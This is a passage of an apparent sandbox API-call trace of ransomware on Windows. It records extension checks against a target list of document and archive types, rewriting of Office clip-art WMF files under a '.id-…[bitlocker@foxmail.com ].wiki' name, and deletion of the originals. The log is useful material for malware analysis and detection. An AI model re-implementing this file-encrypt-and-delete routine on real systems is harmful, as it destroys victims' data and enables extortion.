(lpString1=".rar", lpString2=".WMF") returned -1 [0065.788] lstrlenW (lpString=".bz2") returned 4 [0065.788] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0065.788] lstrlenW (lpString=".7z") returned 3 [0065.788] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0065.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0065.788] lstrlenW (lpString=".dbf") returned 4 [0065.788] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0065.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0065.788] lstrlenW (lpString=".1cd") returned 4 [0065.788] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0065.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0065.788] lstrlenW (lpString=".jpg") returned 4 [0065.788] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0065.788] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0065.788] lstrlenW (lpString="BL00248_.WMF") returned 12 [0065.788] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0065.789] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=1536) returned 1 [0065.789] CloseHandle (hObject=0x1fc) returned 1 [0065.789] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf")) returned 0x20 [0065.789] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0065.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0065.789] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.789] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.789] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0065.789] GetLastError () returned 0x0 [0065.789] ReadFile (in: hFile=0x1fc, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x600, lpOverlapped=0x0) returned 1 [0065.791] WriteFile (in: hFile=0x22c, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x610, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x610, lpOverlapped=0x0) returned 1 [0065.792] ReadFile (in: hFile=0x1fc, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0065.792] WriteFile (in: hFile=0x22c, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0065.792] SetEndOfFile (hFile=0x22c) returned 1 [0065.792] CloseHandle (hObject=0x22c) returned 1 [0065.792] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.792] SetEndOfFile (hFile=0x1fc) returned 1 [0065.793] CloseHandle (hObject=0x1fc) returned 1 [0065.793] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0065.793] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00248_.wmf")) returned 1 [0065.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0065.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0065.793] lstrlenW (lpString=".doc") returned 4 [0065.793] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0065.793] lstrlenW (lpString=".docx") returned 5 [0065.793] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0065.793] lstrlenW (lpString=".pdf") returned 4 [0065.794] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0065.794] lstrlenW (lpString=".xls") returned 4 [0065.794] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0065.794] lstrlenW (lpString=".xlsx") returned 5 [0065.794] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0065.794] lstrlenW (lpString=".ppt") returned 4 [0065.794] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0065.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0065.794] lstrlenW (lpString=".zip") returned 4 [0065.794] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0065.794] lstrlenW (lpString=".rar") returned 4 [0065.794] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0065.794] lstrlenW (lpString=".bz2") returned 4 [0065.794] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0065.794] lstrlenW (lpString=".7z") returned 3 [0065.794] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0065.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0065.794] lstrlenW (lpString=".dbf") returned 4 [0065.794] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0065.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0065.794] lstrlenW (lpString=".1cd") returned 4 [0065.794] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0065.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0065.794] lstrlenW (lpString=".jpg") returned 4 [0065.794] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0065.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0065.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0065.794] lstrlenW (lpString=".doc") returned 4 [0065.794] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0065.794] lstrlenW (lpString=".docx") returned 5 [0065.794] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0065.794] lstrlenW (lpString=".pdf") returned 4 [0065.794] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0065.794] lstrlenW (lpString=".xls") returned 4 [0065.794] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0065.795] lstrlenW (lpString=".xlsx") returned 5 [0065.795] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0065.795] lstrlenW (lpString=".ppt") returned 4 [0065.795] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0065.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0065.795] lstrlenW (lpString=".zip") returned 4 [0065.795] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0065.795] lstrlenW (lpString=".rar") returned 4 [0065.795] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0065.795] lstrlenW (lpString=".bz2") returned 4 [0065.795] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0065.795] lstrlenW (lpString=".7z") returned 3 [0065.795] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0065.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0065.795] lstrlenW (lpString=".dbf") returned 4 [0065.795] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0065.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0065.795] lstrlenW (lpString=".1cd") returned 4 [0065.795] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0065.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 63 [0065.795] lstrlenW (lpString=".jpg") returned 4 [0065.795] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0065.795] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0065.795] lstrlenW (lpString="BL00252_.WMF") returned 12 [0065.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0065.796] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=4708) returned 1 [0065.796] CloseHandle (hObject=0x1fc) returned 1 [0065.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf")) returned 0x20 [0065.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0065.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0065.796] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.796] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0065.796] GetLastError () returned 0x0 [0065.796] ReadFile (in: hFile=0x1fc, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x1264, lpOverlapped=0x0) returned 1 [0065.799] WriteFile (in: hFile=0x22c, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x1270, lpOverlapped=0x0) returned 1 [0065.800] ReadFile (in: hFile=0x1fc, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0065.800] WriteFile (in: hFile=0x22c, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0065.800] SetEndOfFile (hFile=0x22c) returned 1 [0065.800] CloseHandle (hObject=0x22c) returned 1 [0065.800] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.800] SetEndOfFile (hFile=0x1fc) returned 1 [0065.801] CloseHandle (hObject=0x1fc) returned 1 [0065.801] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0065.801] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf")) returned 1 [0065.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0065.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0065.802] lstrlenW (lpString=".doc") returned 4 [0065.802] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0065.802] lstrlenW (lpString=".docx") returned 5 [0065.802] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0065.802] lstrlenW (lpString=".pdf") returned 4 [0065.802] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0065.802] lstrlenW (lpString=".xls") returned 4 [0065.802] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0065.802] lstrlenW (lpString=".xlsx") returned 5 [0065.802] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0065.802] lstrlenW (lpString=".ppt") returned 4 [0065.802] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0065.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0065.802] lstrlenW (lpString=".zip") returned 4 [0065.802] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0065.802] lstrlenW (lpString=".rar") returned 4 [0065.802] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0065.802] lstrlenW (lpString=".bz2") returned 4 [0065.802] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0065.802] lstrlenW (lpString=".7z") returned 3 [0065.802] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0065.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0065.802] lstrlenW (lpString=".dbf") returned 4 [0065.802] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0065.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0065.802] lstrlenW (lpString=".1cd") returned 4 [0065.802] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0065.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0065.802] lstrlenW (lpString=".jpg") returned 4 [0065.802] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0065.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0065.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0065.803] lstrlenW (lpString=".doc") returned 4 [0065.803] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0065.803] lstrlenW (lpString=".docx") returned 5 [0065.803] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0065.803] lstrlenW (lpString=".pdf") returned 4 [0065.803] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0065.803] lstrlenW (lpString=".xls") returned 4 [0065.803] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0065.803] lstrlenW (lpString=".xlsx") returned 5 [0065.803] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0065.803] lstrlenW (lpString=".ppt") returned 4 [0065.803] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0065.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0065.803] lstrlenW (lpString=".zip") returned 4 [0065.803] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0065.803] lstrlenW (lpString=".rar") returned 4 [0065.803] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0065.803] lstrlenW (lpString=".bz2") returned 4 [0065.803] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0065.803] lstrlenW (lpString=".7z") returned 3 [0065.803] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0065.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0065.803] lstrlenW (lpString=".dbf") returned 4 [0065.803] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0065.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0065.803] lstrlenW (lpString=".1cd") returned 4 [0065.803] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0065.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 63 [0065.803] lstrlenW (lpString=".jpg") returned 4 [0065.803] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0065.804] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0065.804] lstrlenW (lpString="BL00254_.WMF") returned 12 [0065.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0065.805] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=1736) returned 1 [0065.805] CloseHandle (hObject=0x1fc) returned 1 [0065.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf")) returned 0x20 [0065.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0065.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0065.805] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.805] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0065.805] GetLastError () returned 0x0 [0065.805] ReadFile (in: hFile=0x1fc, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x6c8, lpOverlapped=0x0) returned 1 [0065.807] WriteFile (in: hFile=0x22c, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x6d0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x6d0, lpOverlapped=0x0) returned 1 [0065.808] ReadFile (in: hFile=0x1fc, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0065.808] WriteFile (in: hFile=0x22c, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0065.808] SetEndOfFile (hFile=0x22c) returned 1 [0065.808] CloseHandle (hObject=0x22c) returned 1 [0065.808] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.808] SetEndOfFile (hFile=0x1fc) returned 1 [0065.811] CloseHandle (hObject=0x1fc) returned 1 [0065.811] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0065.811] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf")) returned 1 [0065.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0065.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0065.811] lstrlenW (lpString=".doc") returned 4 [0065.811] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0065.811] lstrlenW (lpString=".docx") returned 5 [0065.811] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0065.811] lstrlenW (lpString=".pdf") returned 4 [0065.811] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0065.811] lstrlenW (lpString=".xls") returned 4 [0065.811] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0065.811] lstrlenW (lpString=".xlsx") returned 5 [0065.811] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0065.811] lstrlenW (lpString=".ppt") returned 4 [0065.811] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0065.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0065.811] lstrlenW (lpString=".zip") returned 4 [0065.811] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0065.812] lstrlenW (lpString=".rar") returned 4 [0065.812] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0065.812] lstrlenW (lpString=".bz2") returned 4 [0065.812] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0065.812] lstrlenW (lpString=".7z") returned 3 [0065.812] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0065.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0065.812] lstrlenW (lpString=".dbf") returned 4 [0065.812] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0065.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0065.812] lstrlenW (lpString=".1cd") returned 4 [0065.812] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0065.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0065.812] lstrlenW (lpString=".jpg") returned 4 [0065.812] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0065.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0065.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0065.812] lstrlenW (lpString=".doc") returned 4 [0065.812] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0065.812] lstrlenW (lpString=".docx") returned 5 [0065.812] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0065.812] lstrlenW (lpString=".pdf") returned 4 [0065.812] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0065.812] lstrlenW (lpString=".xls") returned 4 [0065.812] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0065.812] lstrlenW (lpString=".xlsx") returned 5 [0065.812] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0065.812] lstrlenW (lpString=".ppt") returned 4 [0065.812] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0065.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0065.812] lstrlenW (lpString=".zip") returned 4 [0065.812] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0065.812] lstrlenW (lpString=".rar") returned 4 [0065.812] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0065.813] lstrlenW (lpString=".bz2") returned 4 [0065.813] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0065.813] lstrlenW (lpString=".7z") returned 3 [0065.813] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0065.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 63 [0065.813] lstrlenW (lpString=".dbf") returned 4 [0065.813] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0065.813] lstrlenW (lpString="C:\\Program Files\\Microsoft 